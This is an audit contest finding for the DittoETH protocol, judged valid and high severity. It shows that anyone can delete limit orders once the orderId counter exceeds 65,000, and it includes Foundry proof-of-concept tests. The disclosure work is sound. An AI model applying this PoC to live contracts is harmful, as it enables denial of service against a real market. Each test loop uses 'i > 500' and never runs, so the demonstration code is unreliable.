DittoETH
Ditto
DeFiFoundryOracle
55,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Any user can delete all limit orders from the orderbook

alra

Summary

Once the s.asset[asset].orderId, which in theory represents number of orders in the orderbook surpasses 65_000, any user can call cancelOrderFarFromOracle() with the last orderId, and delete the last order until there are no more orders.

Vulnerability Details

The problem is s.asset[asset].orderId isn't decremented in any case in the entire protocol, even when an order is deleted, as is the case in cancelOrderFarFromOracle().
In any point that the orderId surpasses 65_000, either naturally over time, or artificially by a malicious actor in a few blocks creating countless orders, cancelOrderFarFromOracle() won't revert even the orders left in the orderbook are 1.

POC

First, uncomment the console import.
Replace the setOrderIdAndMakeOrders() at test/CancelOrder.t.sol with the following code:

function setOrderIdAndMakeOrders(O orderType) public {
vm.prank(owner);
testFacet.setOrderIdT(asset, 64500); // set this to 64500
if (orderType == O.LimitBid) {
for (uint256 i; i < 500; i++) { // set to 500
console.log(i);
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
}
} else if (orderType == O.LimitAsk) { // set to 500
for (uint256 i; i < 500; i++) {
fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
}
} else if (orderType == O.LimitShort) {
for (uint256 i; i < 500; i++) { // set tot 500
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
}
}
assertEq(diamond.getAssetNormalizedStruct(asset).orderId, 65000); // set this to 65000, now cancelOrderFarFromOracle() doesn't revert
}

Copy-paste the following code at the end of the test/CancelOrder.t.sol::CancelOrderTest contract:

function testCancelOrderIfOrderIDTooHighBidPOC() public {
// in setOrderIdT, orderId is set to 65000 artificially
// we have to create the amount of orders necessary to demonstrate the POC
setOrderIdAndMakeOrders({orderType: O.LimitBid});
uint previousOrderId = diamond.getAssetNormalizedStruct(asset).orderId;
for (uint256 i = 0; i > 500; i++) {
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitBid,
lastOrderId: uint16(64_499 - i),
numOrdersToCancel: 1
});
}
console.log("Normal user has been able to remove 500 orders from the orderbook");
assertEq(diamond.getAssetNormalizedStruct(asset).orderId, 65_000); // s.asset[asset].orderId hasn't changed even 500 orders have been deleted
assertEq(previousOrderId, 65_000);
console.log("s.asset[asset].orderId hasn't changed");
}
​
function testCancelOrderIfOrderIDTooHighAskPOC() public {
setOrderIdAndMakeOrders({orderType: O.LimitAsk});
uint previousOrderId = diamond.getAssetNormalizedStruct(asset).orderId;
for (uint256 i = 0; i > 500; i++) {
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitAsk,
lastOrderId: uint16(64_499 - i),
numOrdersToCancel: 1
});
}
console.log("Normal user has been able to remove 500 orders from the orderbook");
assertEq(diamond.getAssetNormalizedStruct(asset).orderId, 65_000); // s.asset[asset].orderId hasn't changed even 500 orders have been deleted
assertEq(previousOrderId, 65_000);
console.log("s.asset[asset].orderId hasn't changed");
}
​
function testCancelOrderIfOrderIDTooHighShortPOC() public {
setOrderIdAndMakeOrders({orderType: O.LimitShort});
uint previousOrderId = diamond.getAssetNormalizedStruct(asset).orderId;
for (uint256 i = 0; i > 500; i++) {
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitShort,
lastOrderId: uint16(64_499 - i),
numOrdersToCancel: 1
});
}
console.log("Normal user has been able to remove 500 orders from the orderbook");
assertEq(diamond.getAssetNormalizedStruct(asset).orderId, 65_000); // s.asset[asset].orderId hasn't changed even 500 orders have been deleted
assertEq(previousOrderId, 65_000);
console.log("s.asset[asset].orderId hasn't changed");
}

Run the following command to execute functions targeting different order types:

  • forge test --mt testCancelOrderIfOrderIDTooHighBidPOC -vv

  • forge test --mt testCancelOrderIfOrderIDTooHighAskPOC -vv

  • forge test --mt testCancelOrderIfOrderIDTooHighShortPOC -vv
    As you can prove, the s.asset[asset].orderId isn't decremented, only incremented.

P.S.

  1. The POC only decrements 500 orders because otherwise if I try to delete in a call all 65_000 orders, the test sigkills itself or it's duration is counted in hours.

Impact

Once s.asset[asset].orderId surpasses 65_000, the orderbook for that specific asset will suffer a DOS, because any actor will be able to remove all limit orders as soon as they enter.

Tools Used

Manual review and Foundry framework

Recommendations

Decrement s.asset[asset].orderId when an order is canceled, so that when the total order ids is lower than 65_000, it is impossible for either the DAO or any user to delete further last orders.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-436

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.